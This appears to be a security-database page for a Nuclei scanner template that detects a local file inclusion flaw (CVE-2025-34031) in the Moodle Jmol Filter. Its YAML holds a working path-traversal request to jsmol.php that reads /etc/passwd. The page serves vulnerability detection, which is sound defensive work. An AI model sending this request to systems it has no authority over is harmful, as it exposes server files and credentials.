SecurityContext

CVE-2025-34031: Moodle Jmol Filter 6.1 - Local File Inclusion

  • Template: CVE-2025-34031
  • Name: Moodle Jmol Filter 6.1 - Local File Inclusion
  • Description: Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.
  • Impact: Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.
  • Remediation: Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.
  • Severity: high
  • Authors: madrobot
  • Tags: cve, cve2025, moodle, lfi, edb, jsmol, vkev, vuln
  • References: https://www.exploit-db.com/exploits/46881, https://nvd.nist.gov/vuln/detail/CVE-2025-34031
  • Cves: CVE-2025-34031
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2025/CVE-2025-34031.yaml
  • Digest: 4b0a00483046022100bfce7aa20f288694a850df4a7d6b610f0500fe05b3a73c89376d9249e8099777022100b0eba15a2c9ec610f496ffeeed8cfc43d3a5b545381579870c11b709e268d35f
  • Created at: 2020-04-08T15:56:50Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 2421
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-34031.yaml
  • Checked, none or zero: verified, products

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N
  • Epss score: 0.03184
  • Epss percentile: 0.88401
  • Not known: cpe

Metadata

  • Max-request: 1

Labels

  • Name: Moodle LMS Jmol - Path Traversal
  • Impact: Attackers can read arbitrary files, potentially exposing sensitive configuration and database credentials.
  • Remediation: Update to the latest version of the Jmol plugin.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2025-34031
  • Not known: requirements

```yaml

id: CVE-2025-34031

info:

name: Moodle Jmol Filter 6.1 - Local File Inclusion

author: madrobot

severity: high

description: |

Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.

impact: |

Attackers can read arbitrary files from the server through the jsmol.php endpoint, potentially exposing sensitive configuration files and credentials.

remediation: |

Upgrade Moodle Jmol Filter to a patched version or remove the vulnerable plugin if not required.

reference:

- https://www.exploit-db.com/exploits/46881

- https://nvd.nist.gov/vuln/detail/CVE-2025-34031

classification:

epss-score: 0.03184

epss-percentile: 0.88401

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N

cve-id: CVE-2025-34031

cvss-score: 7.5

cwe-id: CWE-22

metadata:

max-request: 1

tags: cve,cve2025,moodle,lfi,edb,jsmol,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd"

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: word

part: content_type

words:

- "text/plain"

- type: status

status:

- 200

digest: 4b0a00483046022100bfce7aa20f288694a850df4a7d6b610f0500fe05b3a73c89376d9249e8099777022100b0eba15a2c9ec610f496ffeeed8cfc43d3a5b545381579870c11b709e268d35f:922c64590222798bb761d5b6d8e72950

```